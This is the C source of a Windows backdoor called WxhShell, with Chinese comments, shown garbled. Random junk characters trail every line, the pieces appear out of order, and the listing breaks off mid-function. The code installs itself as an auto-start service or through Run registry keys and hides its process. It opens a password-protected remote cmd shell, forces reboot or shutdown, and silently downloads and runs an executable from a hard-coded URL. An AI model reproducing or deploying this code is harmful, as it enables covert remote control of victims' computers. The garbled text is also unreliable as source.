    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]}z"H@k  
    if(Boot(SHUTDOWN)) HF;$Wf+=J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<Z`<e  
    else { O]VHX![Y$  
    closesocket(wsh); #dhce0m  
    ExitThread(0); 3;Y 9<  
    } /{%p%Q[X  
    break; -J]j=  
    } 0i4XS*vPv  
  // 获取shell w:HRzU>  
  case 's': { AQm#a;  
    CmdShell(wsh); 5[0W+W  
    closesocket(wsh); 5Ei4$T  
    ExitThread(0); W'! I+nh  
    break; CAbR+ y  
  } GzEvp  
  // 退出 _h^er+d!_  
  case 'x': { Nf!WqD*je  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FT[of(g^  
    CloseIt(wsh); 6R#.AD\  
    break; /H~]5JZ3-E  
    } 8z)J rO}  
  // 离开 =HHtLW.|,  
  case 'q': { 1<D^+FC4b,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k<A|+![  
    closesocket(wsh); EV[ BB;eb  
    WSACleanup(); oZ\zi> Y,  
    exit(1); L#MgoBXr  
    break; iT=h }>  
        } r<OqI*7  
  } ,Fzuo:{uy  
  } r8,'LZIz  
S5/p3;O\c  
  // 提示信息 K_GqM9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (q}{;  
} <V1y^EW0  
  } l&{+3aC:  
'b:UafV  
  return; RgSB?  
} ~9Cw5rwH<;  
d$B+xW  
// shell模块句柄 ~u-_DOA  
int CmdShell(SOCKET sock) lXip%6c7  
{ O &}`R5Y;  
STARTUPINFO si; F@<^  
ZeroMemory(&si,sizeof(si)); aE[:9{<|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'k9 Qd:a}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jix;!("  
PROCESS_INFORMATION ProcessInfo; ,% *Jm  
char cmdline[]="cmd"; [B@R(z=H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z> <,t~o}  
  return 0; UL0n>Wa5  
} 1xjw=  
2[I[I*"_d  
// 自身启动模式 tvOyT6]  
int StartFromService(void) ?o`fX wE  
{ ~F13}is  
typedef struct 9)J)r \  
{ :wz]d ~)  
  DWORD ExitStatus; 8V@\$4@b!#  
  DWORD PebBaseAddress; suE#'0K  
  DWORD AffinityMask; * TByAa{  
  DWORD BasePriority; @<z#a9  
  ULONG UniqueProcessId; \4Z"s[8}  
  ULONG InheritedFromUniqueProcessId; 17[vq!x6  
}   PROCESS_BASIC_INFORMATION; >K*TgG6!X  
Y@MFH>*  
PROCNTQSIP NtQueryInformationProcess; UQO?hZ!y/.  
Voo_ ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Gt@Fo=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +^3 *Y"6Z  
+m4?a\U  
  HANDLE             hProcess; jBU!xCO  
  PROCESS_BASIC_INFORMATION pbi; I&>5b7Uf  
qb KcI+)47  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &Vbcwv@  
  if(NULL == hInst ) return 0; /_i]bM7W  
9&Ny;oy#6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NT<}-^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O6]X\Cwj%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N:UA+  
eb7~\|9l1i  
  if (!NtQueryInformationProcess) return 0; 0pA>w8mh  
E[M.q;rM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ni-4 ~k  
  if(!hProcess) return 0; [cT7Iqip  
.83z =  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3$P GLM  
7%yP5c B  
  CloseHandle(hProcess); hSXZu?/  
oD_#oX5\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZqfoO!Ta  
if(hProcess==NULL) return 0; $}.#0c8I  
J-W8wCq`  
HMODULE hMod; FmhN*ZXr #  
char procName[255];  G`NGt_C  
unsigned long cbNeeded; DHh30b$c  
X-_0wR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j,v2(e5:  
8g6G},Y0  
  CloseHandle(hProcess); {%QWv%|  
e@L?jBj8m  
if(strstr(procName,"services")) return 1; // 以服务启动 yOE N*^6  
L lVE5f?  
  return 0; // 注册表启动 P |;=dX#-  
} 1VB{dgr  
ju(QSZ|;  
// 主模块 -}P/<cu:  
int StartWxhshell(LPSTR lpCmdLine) $ -M'  
{ E\XD~  
  SOCKET wsl; !\|L(Paf  
BOOL val=TRUE; ]t;bCD6*  
  int port=0; WGI4DzKa  
  struct sockaddr_in door; mH7Mch| m  
9P#<T7  
  if(wscfg.ws_autoins) Install(); rB.LG'GG]  
V,>uM >$  
port=atoi(lpCmdLine); ~%u;lr  
*Zz hN]1  
if(port<=0) port=wscfg.ws_port; dwmZ_m.  
~jM!8]=  
  WSADATA data; cfUG)-]P~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #<gD@Jybu  
TbR!u:J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E(0[/N~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P~u~`eH*  
  door.sin_family = AF_INET; {WN??eys,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |v= */e  
  door.sin_port = htons(port); !KmSLr7xU  
H05U{vR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ( 2i{8  
closesocket(wsl); |gM@}!DL  
return 1; _2nNCu (  
} gBJM|"_A?  
'v_VyK*w  
  if(listen(wsl,2) == INVALID_SOCKET) { [TX5O\g![  
closesocket(wsl); h0Ilxa   
return 1; ^26}8vt  
} "oo j;  
  Wxhshell(wsl); #mH4\s  
  WSACleanup(); j$}W%ibj  
8eZ^)9m  
return 0; AOR(1Qyo  
DT>Giic  
} m>LC2S; f  
t^(wbC  
// 以NT服务方式启动 ql%]t~HR0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IjnO2X  
{ F;<cG `|Rx  
DWORD   status = 0; }?=4pGsI  
  DWORD   specificError = 0xfffffff; pXq5|,aC  
av4g/7=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1bpjj'2%x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z*OQ4_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,-_\Y hY>  
  serviceStatus.dwWin32ExitCode     = 0; S$1dXXT  
  serviceStatus.dwServiceSpecificExitCode = 0; t.= 1<Ed  
  serviceStatus.dwCheckPoint       = 0; F}{uY(hv"[  
  serviceStatus.dwWaitHint       = 0; 'I1^70bB  
ew\ZFqA;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~6O<5@k  
  if (hServiceStatusHandle==0) return; f)%8*B  
.lIkJQ3d  
status = GetLastError(); +N>&b%  
  if (status!=NO_ERROR) `=VN\W^&  
{ J#jx)K!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FvV:$V|  
    serviceStatus.dwCheckPoint       = 0; A]q"+Z]  
    serviceStatus.dwWaitHint       = 0; R,KoymXP  
    serviceStatus.dwWin32ExitCode     = status; _!?iiO  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2N[S*#~*e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )|CF)T-  
    return; 1 8kzR6(W  
  } ieG%D HN  
0ntf%#2{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;PF!=8dW  
  serviceStatus.dwCheckPoint       = 0; y759S)U>>p  
  serviceStatus.dwWaitHint       = 0; pG(%yIiAi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Z#=w  
} Gs)2HR@>  
.Pi8c[  
// 处理NT服务事件,比如:启动、停止 kPg| o3H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y76UhtYH  
{ S6bW?8`  
switch(fdwControl) xcA5  
{ k^v P|*eu  
case SERVICE_CONTROL_STOP: Zm~oV?6  
  serviceStatus.dwWin32ExitCode = 0; (2fWJ%7VG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S1oP_A[|  
  serviceStatus.dwCheckPoint   = 0; 1Wy0#?L  
  serviceStatus.dwWaitHint     = 0; #gd`X|<Ch  
  { (!^; ar^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yJG M"$  
  } MH=;[| N  
  return; d1=fA%pJ  
case SERVICE_CONTROL_PAUSE: %^ z## 7^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TSHQ>kP  
  break; cop \o4ia  
case SERVICE_CONTROL_CONTINUE: u AmDXqJ 3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tj=l!  
  break; sGs_w:Hn  
case SERVICE_CONTROL_INTERROGATE: \c.MIDp"  
  break; X23#y7:  
}; ;u "BCW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )S 2GPn7  
} }Uc)iNU  
LIZsDTU  
// 标准应用程序主函数 `bx}!;{lx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @XR N#_{  
{ }4A $j{\  
smTPca)7s  
// 获取操作系统版本 /a:sWmxMT  
OsIsNt=GetOsVer(); _BP!{~&;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B8sc;Z.  
9C2DW,?  
  // 从命令行安装 1 /dy@'  
  if(strpbrk(lpCmdLine,"iI")) Install(); bw& U[|A0%  
_Nmc1azS  
  // 下载执行文件 @+P7BE}  
if(wscfg.ws_downexe) { 3}lT"K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q"O4}4`  
  WinExec(wscfg.ws_filenam,SW_HIDE); qkk!1W  
} krI@N}OU  
Oj~4uT&"  
if(!OsIsNt) { AV%t<fDG#  
// 如果时win9x,隐藏进程并且设置为注册表启动 mM6X0aM  
HideProc(); FT/STI  
StartWxhshell(lpCmdLine); 9yt)9f  
} ./# F,^F2  
else ]> dCt<  
  if(StartFromService()) 7g&"clRGO  
  // 以服务方式启动 0l&#%wmJ,  
  StartServiceCtrlDispatcher(DispatchTable); [@LA<Z_  
else ;#jE??E/:  
  // 普通方式启动 *t3uj  
  StartWxhshell(lpCmdLine); Q"+)xj  
"q,.O5q}Y  
return 0; dNg5#?mzT5  
} N& 683z  
Ns}BE H  
B{ptP4As-  
l k?@ =U~  
=========================================== lI"~*"c`  
;VI/iwg  
EFqYEDXW  
2Sg^SZFH+o  
Z>t,B%v  
R@[gkj  
" #o/  
V^[B=|56  
#include <stdio.h> -m"9v%>Y  
#include <string.h> K#>@T<  
#include <windows.h> -cL{9r&X  
#include <winsock2.h> oM~;du  
#include <winsvc.h> 7)Y0D@wg  
#include <urlmon.h> [')C]YQb=  
c?H@HoF  
#pragma comment (lib, "Ws2_32.lib") @cC@(M~Ru  
#pragma comment (lib, "urlmon.lib") zD z"Dn9  
&u}]3E'-k  
#define MAX_USER   100 // 最大客户端连接数 Qf:#{~/  
#define BUF_SOCK   200 // sock buffer "1iLfQ  
#define KEY_BUFF   255 // 输入 buffer KdTDBC  
5tG\5  
#define REBOOT     0   // 重启 N" =$S|Gs  
#define SHUTDOWN   1   // 关机 r]<?,xx [  
5H!6 #pqM  
#define DEF_PORT   5000 // 监听端口 *@(j'0hj  
vkgAI<  
#define REG_LEN     16   // 注册表键长度 ObyF~j}j  
#define SVC_LEN     80   // NT服务名长度 OoqA`%  
2k]Jkd,E  
// 从dll定义API s-"oT=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =(cfo_B@K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ht_7:5v&   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - D&d1`N4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ];63QJU  
E-?@9!2 &  
// wxhshell配置信息 }VDJ  
struct WSCFG { HV}*}Ty  
  int ws_port;         // 监听端口 VTIRkC wl@  
  char ws_passstr[REG_LEN]; // 口令 )ld`2) 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^2 }p%j >  
  char ws_regname[REG_LEN]; // 注册表键名 31)eDs  
  char ws_svcname[REG_LEN]; // 服务名 p1`") $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Q XUy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )r|Pm-:A{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vZJu =t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :|PI_ $4H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yZyB.wT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H2oD0f|  
*\"+/   
}; N`xXH  
FNy-&{P2  
// default Wxhshell configuration YU6D;  
struct WSCFG wscfg={DEF_PORT, JuM4Njz|  
    "xuhuanlingzhe", W'3~vQF  
    1, $_orxu0W  
    "Wxhshell", tuIQiWHbM  
    "Wxhshell", 25wvB@0&  
            "WxhShell Service", 7:$zSj# y  
    "Wrsky Windows CmdShell Service", Ca k-J~=  
    "Please Input Your Password: ", >V|KS(}s  
  1, #y>q)Ph  
  "http://www.wrsky.com/wxhshell.exe", =OR "Bd:O  
  "Wxhshell.exe"  5JggU  
    }; :9Mqwgk,;3  
=?oYEO7  
// 消息定义模块 %XiF7<A &  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MNWuw;:v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >4iVVs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XZH\HK)K-]  
char *msg_ws_ext="\n\rExit."; W~Ae&gcn#  
char *msg_ws_end="\n\rQuit."; D\-D ~G]x  
char *msg_ws_boot="\n\rReboot..."; )FSa]1t;x  
char *msg_ws_poff="\n\rShutdown..."; 1%Su~Z"W>  
char *msg_ws_down="\n\rSave to "; r$<4_*  
4KnrQ-D  
char *msg_ws_err="\n\rErr!"; I|/\L|vo  
char *msg_ws_ok="\n\rOK!"; &)Z]nNVb  
(!"&c* <  
char ExeFile[MAX_PATH]; k@Mt8Ln  
int nUser = 0; :{'%I#k2  
HANDLE handles[MAX_USER]; SEXmVFsQ  
int OsIsNt; 6!$2nK+  
<&MY/vV  
SERVICE_STATUS       serviceStatus; |@Sj:^cJD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y|2y! &o,!  
<BX'Owbs!O  
// 函数声明 bW?cb5C  
int Install(void); h;JO"J@H  
int Uninstall(void); cu )w6!f  
int DownloadFile(char *sURL, SOCKET wsh); kH">(f  
int Boot(int flag); 0$:jZ/._  
void HideProc(void); Z>(K|3_  
int GetOsVer(void); 2e| m3  
int Wxhshell(SOCKET wsl); NGL,j\(~7  
void TalkWithClient(void *cs); u)9YRMl  
int CmdShell(SOCKET sock); =kDh:&u%  
int StartFromService(void); :`<ME/"YE  
int StartWxhshell(LPSTR lpCmdLine); "U o~fJ  
J e.%-7f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H-/w8_} KG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A| s\5"??  
s]'EIw}mo  
// 数据结构和表定义 =l+~}/7'Z  
SERVICE_TABLE_ENTRY DispatchTable[] = Ta NcnAY>9  
{ x03@}M1  
{wscfg.ws_svcname, NTServiceMain}, DM=`hyf(v  
{NULL, NULL} ..;ep2jSs  
}; Mi:i1i cdn  
D]NJ ^.X  
// 自我安装 vTq [Xe"  
int Install(void) _qvzZ6  
{ ]%eyrbU  
  char svExeFile[MAX_PATH]; v&r\Z @%  
  HKEY key; >eucQ]  
  strcpy(svExeFile,ExeFile); H J0Rcw%  
u`Abko<D  
// 如果是win9x系统,修改注册表设为自启动 <Wa7$hF  
if(!OsIsNt) { z2IKd'Wy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wo+^R%K' 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jSdW?IH  
  RegCloseKey(key); >bbvQb +j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xV>sc;PEb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JL!:`#\  
  RegCloseKey(key); NT;cTa=;  
  return 0; k<QZ_*x}G  
    } g66x;2Q  
  } -h%1rw  
} gtRVXgI  
else { |H&&80I  
4`'V%)M  
// 如果是NT以上系统,安装为系统服务 P]<15l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s}g3*_"  
if (schSCManager!=0) bmI6OIWl  
{ \ fSo9$  
  SC_HANDLE schService = CreateService b:(t22m#?  
  ( 4;V;8a\A  
  schSCManager, tJ9gwx7Pg  
  wscfg.ws_svcname, C8AR ^F W  
  wscfg.ws_svcdisp, wOn*QO[  
  SERVICE_ALL_ACCESS, 1HBWOV7z.?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -muP.h/  
  SERVICE_AUTO_START, Xz\X 8I  
  SERVICE_ERROR_NORMAL, )(-aw,i K  
  svExeFile, 6ac_AsFK  
  NULL, 35n'sVn  
  NULL, 3"LT''  
  NULL, e`bP=7`0  
  NULL, sOhKMz  
  NULL 0 LQ%tn  
  ); }S 6h1X  
  if (schService!=0) _|wnmeL*  
  { EnP>  
  CloseServiceHandle(schService); r;@"s g  
  CloseServiceHandle(schSCManager); h.4FY<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ui<Mnm_T;d  
  strcat(svExeFile,wscfg.ws_svcname); *QA{xvT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N ,nvAM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m ;{(U Z  
  RegCloseKey(key); `2hLs _  
  return 0; {Lugdf'  
    } (kL(:P/  
  } MN[D)RKh;  
  CloseServiceHandle(schSCManager); =F/EzS  
} .\mkgAlyaM  
} 9yWSlbPr]  
9v?rNJs  
return 1; KskPFXxP  
} [ i8Ju  
g4&f2D5  
// 自我卸载 (je`sV  
int Uninstall(void) OXS.CFZM  
{ DqA$%b yyE  
  HKEY key; @YbZ"Jb  
@nOuFX4  
if(!OsIsNt) { ZwM d 22  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : $N43_Wb  
  RegDeleteValue(key,wscfg.ws_regname); fU|4^p)  
  RegCloseKey(key); )0zg1z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S~U5xM^s  
  RegDeleteValue(key,wscfg.ws_regname); A@jBn6  
  RegCloseKey(key); ~T!D:2G  
  return 0; IAMtMO^L  
  } `. 3{  
} V)]lca  
} KN'twPFq  
else { lm|s%  
wowWq\euY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %e+{wU}w?2  
if (schSCManager!=0) #6mr'e1  
{ N5 mhs#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Zo*FZcaX  
  if (schService!=0) TGuCIc0B{  
  { y(X^wC  
  if(DeleteService(schService)!=0) { eN0lJ~  
  CloseServiceHandle(schService); ??z&w`Yy,  
  CloseServiceHandle(schSCManager); W/.Wp|C}K3  
  return 0; _7<G6q2(  
  } zqxN/H]z  
  CloseServiceHandle(schService); F`CDv5  
  } O)c3Lm-w  
  CloseServiceHandle(schSCManager); UaBNoD  
} ?dmw z4k0  
} zvwv7JtB  
pV*d"~T  
return 1; kW& zkE{  
} 2XyC;RWJ%  
*iV#_  
// 从指定url下载文件 #>2cfZ`6'J  
int DownloadFile(char *sURL, SOCKET wsh) vdd>\r)v  
{ %' eaW  
  HRESULT hr; ik5"9b-\<  
char seps[]= "/"; ]CX^!n  
char *token; WS"v"J%  
char *file; WnhH]WY  
char myURL[MAX_PATH]; !}q@O-}j  
char myFILE[MAX_PATH]; G0(A~Q"  
uTrQ<|}#  
strcpy(myURL,sURL); Q}uh`?t  
  token=strtok(myURL,seps); m5 l&  
  while(token!=NULL) Up*6K=Tny  
  { |#EI(W?`  
    file=token; = Q"(9[Az  
  token=strtok(NULL,seps); Y#FSU# a$<  
  } (I;lE*>  
40$9./fe)  
GetCurrentDirectory(MAX_PATH,myFILE); TIxlLOs  
strcat(myFILE, "\\"); 0>:`|IGnT2  
strcat(myFILE, file); *_"lXcG.  
  send(wsh,myFILE,strlen(myFILE),0); zLg_0r*h1  
send(wsh,"...",3,0); VM+l9 z>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1-PFM-  
  if(hr==S_OK) Ni#y=cb  
return 0; `[~LMV&2U  
else tDtqTB}  
return 1; ' wKTWmf?\  
Tj=@5lj0  
} ]0g1P-&,U  
BR tT 7  
// 系统电源模块 Tx(=4ALY  
int Boot(int flag) -l{ wB"  
{ Z|j\_VKhl  
  HANDLE hToken; *oAnG:J+M  
  TOKEN_PRIVILEGES tkp; 8KWhXF  
be'&tsZ9  
  if(OsIsNt) { 'Me(qpsq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #!4`t]E<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y^gIvX  
    tkp.PrivilegeCount = 1; `3.bux~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V,eH E5C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q`UgtL  
if(flag==REBOOT) { JB HnJm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r]&&*:  
  return 0; Tx/KL%X  
} \8`^QgV`@  
else { <9`/Y"\p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~HXZ-*  
  return 0; uN6xOq/  
} SpZmwa #\  
  } (ewcj\l4*  
  else { z_a7HCG2  
if(flag==REBOOT) { J=ot& %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  3,Bm"'b6  
  return 0; kaVYe)~  
} s_76)7  
else { K\$z,}0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #M92=IH  
  return 0;  #uuNH(  
} b<KKF'  
} >IHf5})R  
{>l`P{{y  
return 1; Xa[lX8$zL  
} T7Yg^ -"  
EZ^M?awB4  
// win9x进程隐藏模块 (ce"ED`1  
void HideProc(void) IE&G7\>(yO  
{ Yq:TW eZD  
M:w]g`LKl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k)JwCt.%  
  if ( hKernel != NULL ) ;sd] IZ$#  
  { rE\.[mFI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *JVJKqed  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ni3A+Y0  
    FreeLibrary(hKernel); 66cPoG  
  } V,:~FufM^  
.,SWa;[iB  
return; 5@~5RNrq2  
} 5va ;Ol4  
y#5;wb<1  
// 获取操作系统版本 <nn!9V\C   
int GetOsVer(void) |*zvaI(}  
{ D]d2opBLj  
  OSVERSIONINFO winfo; sg,9{R ^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~ *P9_<  
  GetVersionEx(&winfo); ~ph>?xuw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CB?,[#r5f  
  return 1; P4~C0z  
  else F6)/Iiv  
  return 0; jVdB- y/r  
}  [T#9#3  
)"<:Md$7  
// 客户端句柄模块 >HQ<KFA  
int Wxhshell(SOCKET wsl) sTO9>~sj  
{ o<%s\n  
  SOCKET wsh; "_e /O&-cH  
  struct sockaddr_in client; cGe-|>:  
  DWORD myID; +)TOcxF%  
ca8.8uHY\  
  while(nUser<MAX_USER) ]}dAm S/  
{ @0q*50  
  int nSize=sizeof(client); 04R-}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3UQ~U 8  
  if(wsh==INVALID_SOCKET) return 1; :KJZo,\  
b `.h+=3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F#Xzh Ds  
if(handles[nUser]==0) *7 >K"j  
  closesocket(wsh); I;Bcim;  
else d!]_n|B@9  
  nUser++; Iw) 'Yyg  
  } _M7NL^B&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q3R?8Mb  
qct:xviH<|  
  return 0; 7 {#^ zr  
} 2u'h,on?  
_ ?Z :m  
// 关闭 socket w.\#!@kZ!  
void CloseIt(SOCKET wsh) :0B' b  
{ {F+iL&e)  
closesocket(wsh); eLAhfG  
nUser--; ;]Bkw6 o  
ExitThread(0); IEW[VU)  
} \d{S3\7  
F^|4nBd*ub  
// 客户端请求句柄 ar| !iU  
void TalkWithClient(void *cs) ;p'Ej'E  
{ 4E DwZR>./  
KN9e""  
  SOCKET wsh=(SOCKET)cs; SV96eYT<  
  char pwd[SVC_LEN]; )s4a<S c]  
  char cmd[KEY_BUFF]; lGtTZ cg  
char chr[1]; A VbGJ+  
int i,j; %t\ ~3pw=  
iZ-"l3) D  
  while (nUser < MAX_USER) { :IlJQ{=W  
wsLfp82  
if(wscfg.ws_passstr) { IQ"9#{o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ",qJG]_ <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F[ 5\ x0  
  //ZeroMemory(pwd,KEY_BUFF); E<XrXxS1O  
      i=0; /NFcIU  
  while(i<SVC_LEN) { &*wc` U  
Qcf5* ]V  
  // 设置超时 1ti4 ZM  
  fd_set FdRead; ,a /<t"  
  struct timeval TimeOut; VaRP+J}UA.  
  FD_ZERO(&FdRead); c*#*8R9.y  
  FD_SET(wsh,&FdRead); ESAFsJ$r;  
  TimeOut.tv_sec=8; i'bUX=JK  
  TimeOut.tv_usec=0; R s)Nz< d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2{o eJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5?n@.hcL  
R87e"m/C%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Y gvLz %  
  pwd=chr[0]; }\Mmp+<  
  if(chr[0]==0xd || chr[0]==0xa) { d=_Wgz,d  
  pwd=0; <^(g<B`>  
  break; $pg1Av7l  
  } Gv3AJ'NL  
  i++; wNgS0{}&`  
    } %VD>S  
oH|<(8efD  
  // 如果是非法用户,关闭 socket ry%Fs&V*>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uY6|LTK&x  
} _ X* A  
W;Ei>~E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CAl]Kpc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b];p/V# <  
Ce0YO~I  
while(1) { ZNEWUt{+;^  
()>,L? y  
  ZeroMemory(cmd,KEY_BUFF); 06#40-   
C{8d^SCA"  
      // 自动支持客户端 telnet标准   Tn7(A^h'  
  j=0; ^ |^Q(  
  while(j<KEY_BUFF) { ;{k`nv_6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q{0!N8']"  
  cmd[j]=chr[0]; xrPC  
  if(chr[0]==0xa || chr[0]==0xd) { dwc$#cMf  
  cmd[j]=0; AGdFJ>/  
  break; \Y{^Q7!>:8  
  } Z/S7ei@56  
  j++; oHbG-p  
    } ,{br6*E  
71# ipZ  
  // 下载文件 /=bg(?nX  
  if(strstr(cmd,"http://")) { U- a+LS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >[ox|_o  
  if(DownloadFile(cmd,wsh)) QIMoe'p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I;<aJo6Yl  
  else @N-P[.qL"  
